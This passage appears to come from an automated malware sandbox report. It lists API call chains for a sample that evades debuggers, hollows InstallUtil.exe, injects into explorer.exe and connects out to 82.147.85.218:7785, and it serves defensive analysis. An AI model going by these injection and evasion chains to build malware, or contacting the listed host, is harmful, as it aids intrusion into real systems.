Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-30132
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29921
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29884
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29795
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29808
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29832
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29816
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29800
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-30206
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29875
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-30148
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29861
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29849
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29911
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29829
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29880
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node

Source: C:\ProgramData\Office Manager\Application.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_0043865E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_0043865E

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_0041BDB0 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

12_2_0041BDB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_0042DB49 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_0042DB49

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004380DB mov eax, dword ptr fs:[00000030h]	10_2_004380DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0043BE42 mov eax, dword ptr fs:[00000030h]	10_2_0043BE42
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0058996B push dword ptr fs:[00000030h]	12_2_0058996B
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020E092B mov eax, dword ptr fs:[00000030h]	12_2_020E092B
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020E0D90 mov eax, dword ptr fs:[00000030h]	12_2_020E0D90
Source: C:\ProgramData\psh\lcs	Code function: 13_2_004C88B3 push dword ptr fs:[00000030h]	13_2_004C88B3
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0201092B mov eax, dword ptr fs:[00000030h]	13_2_0201092B
Source: C:\ProgramData\psh\lcs	Code function: 13_2_02010D90 mov eax, dword ptr fs:[00000030h]	13_2_02010D90

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_004031A0 GetCurrentProcess,IsWow64Process,GetProcessHeap,

12_2_004031A0

Source: C:\Users\user\Desktop\file.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0043865E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0043865E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0041F755 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0041F755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0041ED97 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0041ED97
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00426441 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00426441
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00429C90 SetUnhandledExceptionFilter,	12_2_00429C90
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004287B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_004287B0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_02108A17 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_02108A17
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_021066A8 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_021066A8
Source: C:\ProgramData\psh\lcs	Code function: 13_2_02038A17 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_02038A17
Source: C:\ProgramData\psh\lcs	Code function: 13_2_020366A8 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_020366A8
Source: C:\Windows\explorer.exe	Code function: 18_2_0132E974 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_0132E974
Source: C:\Windows\explorer.exe	Code function: 18_2_0132C098 SetUnhandledExceptionFilter,	18_2_0132C098
Source: C:\Windows\explorer.exe	Code function: 18_2_0132A0C0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_0132A0C0
Source: C:\Windows\explorer.exe	Code function: 18_2_013282F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_013282F8

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 82.147.85.218 7785

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_00407890 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

10_2_00407890

Maps a DLL or memory area into another process

Source: C:\ProgramData\psh\lcs	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00401E90 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	12_2_00401E90
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00401F60 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	12_2_00401F60
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020E20F7 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	12_2_020E20F7
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020E21C7 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	12_2_020E21C7
Source: C:\ProgramData\psh\lcs	Code function: 13_2_020120F7 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	13_2_020120F7
Source: C:\ProgramData\psh\lcs	Code function: 13_2_020121C7 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	13_2_020121C7
Source: C:\Windows\explorer.exe	Code function: 18_2_01301530 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	18_2_01301530
Source: C:\Windows\explorer.exe	Code function: 18_2_01301440 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,	18_2_01301440

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_00406820 setsockopt,SetEvent,LocalAlloc,wnsprintfW,LocalAlloc,lstrcpyW,LocalAlloc,lstrcpyW,CoInitializeEx,ShellExecuteExW,GetLastError,CoUninitialize,LocalAlloc,wnsprintfW,CreateProcessW,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,shutdown,closesocket,

12_2_00406820

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\ProgramData\psh\lcs	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_0040A900 AllocateAndInitializeSid,_memset,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,LocalFree,

12_2_0040A900

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_0040A900 AllocateAndInitializeSid,_memset,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,LocalFree,

12_2_0040A900

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_0041F941 cpuid

10_2_0041F941

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	12_2_00420070
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	12_2_0041F890
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,htons,wsprintfA,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	12_2_0041F9D0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_0041F1B0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,	12_2_0041EA30
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,	12_2_0041EAD0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	12_2_00416299
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: setsockopt,___crtGetLocaleInfoEx,closesocket,	12_2_004162B2
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_0041EB70
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: OpenEventW,OpenMutexW,OpenMutexW,WaitForSingleObject,CreateEventW,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,Sleep,WaitForSingleObject,WaitForSingleObject,setsockopt,CreateEventW,LocalAlloc,CreateThread,GetTickCount,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,___crtGetLocaleInfoEx,WSAGetLastError,GetTickCount,GetTickCount,___crtGetLocaleInfoEx,Sleep,shutdown,closesocket,SetEvent,WaitForSingleObject,CloseHandle,LocalFree,CloseHandle,shutdown,closesocket,CloseHandle,ExitProcess,WaitForSingleObject,WaitForSingleObject,SetEvent,WaitForSingleObject,CloseHandle,CloseHandle,CloseHandle,ReleaseMutex,CloseHandle,CloseHandle,CloseHandle,	12_2_004203D0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	12_2_0041FCF0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,wsprintfW,GetForegroundWindow,SetWindowTextW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_0041ED80
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,WaitForSingleObject,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,setsockopt,___crtGetLocaleInfoEx,closesocket,setsockopt,___crtGetLocaleInfoEx,closesocket,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,WaitForSingleObject,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,___crtGetLocaleInfoEx,closesocket,	12_2_00415EF0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_0041EFB0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_020FF217
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	12_2_021002D7
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	12_2_020FFAF7
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: OpenEventW,OpenMutexW,OpenMutexW,WaitForSingleObject,CreateEventW,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,Sleep,WaitForSingleObject,WaitForSingleObject,setsockopt,CreateEventW,LocalAlloc,CreateThread,GetTickCount,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,___crtGetLocaleInfoEx,WSAGetLastError,GetTickCount,GetTickCount,___crtGetLocaleInfoEx,Sleep,shutdown,closesocket,SetEvent,WaitForSingleObject,CloseHandle,LocalFree,CloseHandle,shutdown,closesocket,CloseHandle,ExitProcess,WaitForSingleObject,WaitForSingleObject,SetEvent,WaitForSingleObject,CloseHandle,CloseHandle,CloseHandle,ReleaseMutex,CloseHandle,CloseHandle,CloseHandle,	12_2_02100637
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	12_2_020FFF57
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,wsprintfW,GetForegroundWindow,SetWindowTextW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_020FEFE7
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_020FF417
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,htons,wsprintfA,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	12_2_020FFC37
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,	12_2_020FEC97
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: ___crtGetLocaleInfoEx,	12_2_020FED37
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	12_2_020FEDD7
Source: C:\ProgramData\psh\lcs	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0202F217
Source: C:\ProgramData\psh\lcs	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	13_2_020302D7
Source: C:\ProgramData\psh\lcs	Code function: LocalAlloc,htons,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	13_2_0202FAF7
Source: C:\ProgramData\psh\lcs	Code function: OpenEventW,OpenMutexW,OpenMutexW,WaitForSingleObject,CreateEventW,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,Sleep,WaitForSingleObject,WaitForSingleObject,setsockopt,CreateEventW,LocalAlloc,CreateThread,GetTickCount,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,___crtGetLocaleInfoEx,WSAGetLastError,GetTickCount,GetTickCount,___crtGetLocaleInfoEx,Sleep,shutdown,closesocket,SetEvent,WaitForSingleObject,CloseHandle,LocalFree,CloseHandle,shutdown,closesocket,CloseHandle,ExitProcess,WaitForSingleObject,WaitForSingleObject,SetEvent,WaitForSingleObject,CloseHandle,CloseHandle,CloseHandle,ReleaseMutex,CloseHandle,CloseHandle,CloseHandle,	13_2_02030637
Source: C:\ProgramData\psh\lcs	Code function: ___crtGetLocaleInfoEx,WSACreateEvent,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WSAGetLastError,WSAEventSelect,WSAWaitForMultipleEvents,WaitForSingleObject,WSAEnumNetworkEvents,CloseHandle,	13_2_0202FF57
Source: C:\ProgramData\psh\lcs	Code function: LocalAlloc,und_memcpy,CreateEventW,wsprintfW,GetForegroundWindow,SetWindowTextW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0202EFE7
Source: C:\ProgramData\psh\lcs	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,WSAGetLastError,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0202F417
Source: C:\ProgramData\psh\lcs	Code function: LocalAlloc,htons,wsprintfA,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	13_2_0202FC37
Source: C:\ProgramData\psh\lcs	Code function: ___crtGetLocaleInfoEx,	13_2_0202EC97
Source: C:\ProgramData\psh\lcs	Code function: ___crtGetLocaleInfoEx,	13_2_0202ED37
Source: C:\ProgramData\psh\lcs	Code function: LocalAlloc,und_memcpy,CreateEventW,WSAEventSelect,WSAWaitForMultipleEvents,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	13_2_0202EDD7

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
